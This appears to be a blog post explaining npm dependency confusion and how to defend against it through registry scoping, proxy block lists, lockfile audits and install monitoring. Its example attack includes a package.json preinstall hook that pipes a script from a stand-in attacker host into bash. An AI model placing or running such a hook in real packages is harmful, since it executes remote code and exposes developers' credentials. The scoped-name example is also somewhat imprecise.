# Dependency confusion in npm: Why your private registry isn't enough

## The real risk: What most teams miss

When you run `npm install`, npm pulls packages from the registry you have configured in your `.npmrc` file. By default, that's the public npm registry. But here's what most devs (and even many leads) miss:

**Most private registries (Nexus, Artifactory, Verdaccio, GitHub Packages, etc.) are configured to proxy the public npm registry.**

This is meant to make the developer experience seamless: you can fetch both internal and public packages with one command, without changing any configs.

**But this convenience comes with a hidden risk.**

If you haven't strictly scoped your internal packages, or if your private registry allows fallback to public, you could end up installing code from the public registry, even when you think you're only using internal packages.

## What is dependency confusion?

Dependency confusion is an attack technique where a malicious actor publishes a package to the public npm registry using the **exact same name** as your internal package.

If your tooling or registry configuration isn't locked down, your pipeline or developer machine may install the attacker’s public package instead of your intended private one.

**This isn’t theoretical.**

This is exactly how multiple Fortune 500 companies, including Apple, Microsoft, and Tesla, were breached in the wild.

## How does dependency confusion work?

Imagine your org uses a private package called `@acme/utils` and you install it as usual. If an attacker publishes a public package with the same name (`@acme/utils`) to [npmjs.com](http://npmjs.com), and your config isn’t locked down, npm (or your proxy registry) might resolve and install the attacker’s package instead.

This can happen when:

* Internal packages aren’t correctly scoped in `.npmrc`
    
* The private registry is set up to proxy public by default, with no block list for internal names.
    
* Lockfiles are ignored, or devs install dependencies without verifying sources.
    

### Example Attack

1. **Attacker registers a package**
    
    `@acme/utils` on the public npm registry, containing a malicious payload in a lifecycle script:
    
    ```json
     {
      "name": "@acme/utils",
      "version": "999.0.0",
      "scripts": {
        "preinstall": "curl https://evil.com/payload.sh | bash"
      }
    }
    ```
    
2. **An unsuspecting developer or CI pipeline installs dependencies.**
    
3. **The public package is installed instead of the internal one.**
    
    Malicious code executes instantly, stealing environment variables, credentials, or worse.
    

## Why does this happen? (How npm registry resolution works)

npm determines where to fetch packages from based on your configuration:

* **Scoped registries:** If your `.npmrc` has `@yourorg:registry=...`, all packages with that scope will be fetched only from that registry.
    
* **Global registry:** If no scoped registry is defined, npm uses the global `registry` setting ([`https://registry.npmjs.org/`](https://registry.npmjs.org/) by default).
    
* **Proxy registries:** Most enterprise setups use a proxy (Nexus, Artifactory, Verdaccio) to make both internal and public packages available in one place.
    
    * **If a package isn’t found internally,** the proxy can fetch it from the public registry—unless explicitly blocked.
        

**Misconfiguration or missing scoping is what allows dependency confusion.**

## How to defend against dependency confusion

1. **Lock down your registry config**
    
    * Explicitly scope internal packages in `.npmrc`:
        
        ```ini
        @yourorg:registry=https://npm.yourcompany.internal/
        always-auth=true
        //npm.yourcompany.internal/:_authToken=${NPM_TOKEN}
        registry=https://registry.npmjs.org
        ```
        
    * In your proxy registry (Nexus, Artifactory, etc.), **block public resolution for internal names**.
        
        * Maintain a blocklist of internal package names that are never fetched from public.
            
2. **Avoid ambiguous or generic package names**
    
    * Don’t use names like `utils`, `core`, or `api` for internal-only packages.
        
    * Use explicit org-level scopes (e.g., `@acme/utils`).
        
3. **Regularly audit what’s being installed.**
    
    * Review `package-lock.json` / `yarn.lock` / `pnp-lock.yaml` files for unexpected sources or versions.
        
    * Enforce PR checks to ensure lockfiles are up-to-date and review
        

**Monitor public registries**

* Regularly check [npmjs.com](http://npmjs.com) for typosquatting or name collisions on your internal package names.
    
* Consider “squatting” your internal names on public even if you never intend to publish code there
    

## Detection tips: How to catch attacks and misconfiguration

* **Check install logs:**
    
    * Look for packages being fetched from the public registry when you expect private.
        
    * Example:
        
        ```plaintext
        npm notice Fetching @yourorg/utils@latest from https://registry.npmjs.org/
        ```
        
* **Audit your lock files:**
    
    * Manually or automatically inspect `package-lock.json` or `yarn.lock` or `pnpm-lock.yaml` for any dependencies from unexpected registries.
        
* **Set up CI/CD alerts:**
    
    * Automatically flag if a package is pulled from a registry you didn’t approve.
        
    * Reject builds if lockfiles change without review.
        
* **Monitor install scripts:**
    
    * Any unexpected `preinstall`, `install`, or `postinstall` script is a red flag.
        

## Hardened example: Secure `.npmrc` for internal packages

```ini
@acme:registry=https://npm.acme.internal/
always-auth=true
//npm.acme.internal/:_authToken=${NPM_TOKEN}
registry=https://registry.npmjs.org/
```

## For proxy registries (Nexus, Verdaccio, Artifactory):

* **Block public resolution for internal scopes**
    
* Maintain a list of reserved internal package names
    
* Require all internal publishes to be authenticated and reviewed
    

## Security is a Mindset, Not a Plugin

Your org isn’t safe just because you use private packages or a self-hosted registry.

* Stop trusting defaults.
    
* Read your `.npmrc`.
    
* Audit your pipeline.
    
* Review what’s installed and from where, *every single time*.
    

**Dependency confusion is simple to exploit, but just as simple to prevent, if you know what to look for.**

---

Questions or want help hardening your setup?  
Drop a comment or reach out, let’s make supply chains safer for everyone.
